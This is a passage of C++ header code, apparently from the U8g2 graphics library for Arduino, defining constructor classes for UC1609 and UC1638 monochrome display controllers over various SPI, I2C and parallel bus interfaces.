d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_slg19264_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_1_SW_I2C : public U8G2 {\n  public: U8G2_UC1609_SLG19264_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_i2c_slg19264_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_1_HW_I2C : public U8G2 {\n  public: U8G2_UC1609_SLG19264_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_i2c_slg19264_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1609_SLG19264_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1609_SLG19264_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_i2c_slg19264_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_2_SW_I2C : public U8G2 {\n  public: U8G2_UC1609_SLG19264_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_i2c_slg19264_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_2_HW_I2C : public U8G2 {\n  public: U8G2_UC1609_SLG19264_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_i2c_slg19264_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1609_SLG19264_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1609_SLG19264_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_i2c_slg19264_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_F_SW_I2C : public U8G2 {\n  public: U8G2_UC1609_SLG19264_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_i2c_slg19264_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1609_SLG19264_F_HW_I2C : public U8G2 {\n  public: U8G2_UC1609_SLG19264_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_i2c_slg19264_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1609_SLG19264_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1609_SLG19264_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1609_i2c_slg19264_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1638_160X128_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1638_160X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_160x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_160X128_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_160X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_160x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_160X128_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_160X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_160x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_160X128_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1638_160X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_160x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1638_160X128_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_160X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_160x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1638_160X128_1_6800 : public U8G2 {\n  public: U8G2_UC1638_160X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_160x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_160X128_1_8080 : public U8G2 {\n  public: U8G2_UC1638_160X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_160x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_160X128_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1638_160X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_160x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_160X128_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_160X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_160x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_160X128_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_160X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_160x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_160X128_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1638_160X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_160x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1638_160X128_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_160X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_160x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1638_160X128_2_6800 : public U8G2 {\n  public: U8G2_UC1638_160X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_160x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_160X128_2_8080 : public U8G2 {\n  public: U8G2_UC1638_160X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_160x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_160X128_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1638_160X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_160x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_160X128_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_160X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_160x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_160X128_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_160X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_160x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_160X128_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1638_160X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_160x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1638_160X128_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_160X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_160x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1638_160X128_F_6800 : public U8G2 {\n  public: U8G2_UC1638_160X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_160x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_160X128_F_8080 : public U8G2 {\n  public: U8G2_UC1638_160X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_160x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_192X96_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1638_192X96_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_192x96_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_192X96_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_192X96_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_192x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_192X96_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_192X96_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_192x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_192X96_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1638_192X96_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_192x96_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1638_192X96_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_192X96_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_192x96_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1638_192X96_1_6800 : public U8G2 {\n  public: U8G2_UC1638_192X96_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_192x96_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_192X96_1_8080 : public U8G2 {\n  public: U8G2_UC1638_192X96_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_192x96_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_192X96_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1638_192X96_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_192x96_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_192X96_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_192X96_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_192x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_192X96_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_192X96_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_192x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_192X96_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1638_192X96_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_192x96_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1638_192X96_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_192X96_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_192x96_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1638_192X96_2_6800 : public U8G2 {\n  public: U8G2_UC1638_192X96_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_192x96_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_192X96_2_8080 : public U8G2 {\n  public: U8G2_UC1638_192X96_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_192x96_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_192X96_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1638_192X96_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_192x96_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_192X96_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_192X96_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_192x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_192X96_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_192X96_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_192x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_192X96_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1638_192X96_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_192x96_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1638_192X96_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1638_192X96_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_192x96_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1638_192X96_F_6800 : public U8G2 {\n  public: U8G2_UC1638_192X96_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_192x96_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_192X96_F_8080 : public U8G2 {\n  public: U8G2_UC1638_192X96_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_192x96_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1638_192X96_1_SW_I2C : public U8G2 {\n  public: U8G2_UC1638_192X96_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_i2c_192x96_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1638_192X96_1_HW_I2C : public U8G2 {\n  public: U8G2_UC1638_192X96_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_i2c_192x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1638_192X96_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1638_192X96_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_i2c_192x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1638_192X96_2_SW_I2C : public U8G2 {\n  public: U8G2_UC1638_192X96_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1638_i2c_192x96_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1638_192X96_2_HW_I2C : public U8G2 {\n  public: U8G2_UC1638_192X96_2_HW_I2C(const u8g2_cb_t *rotation, 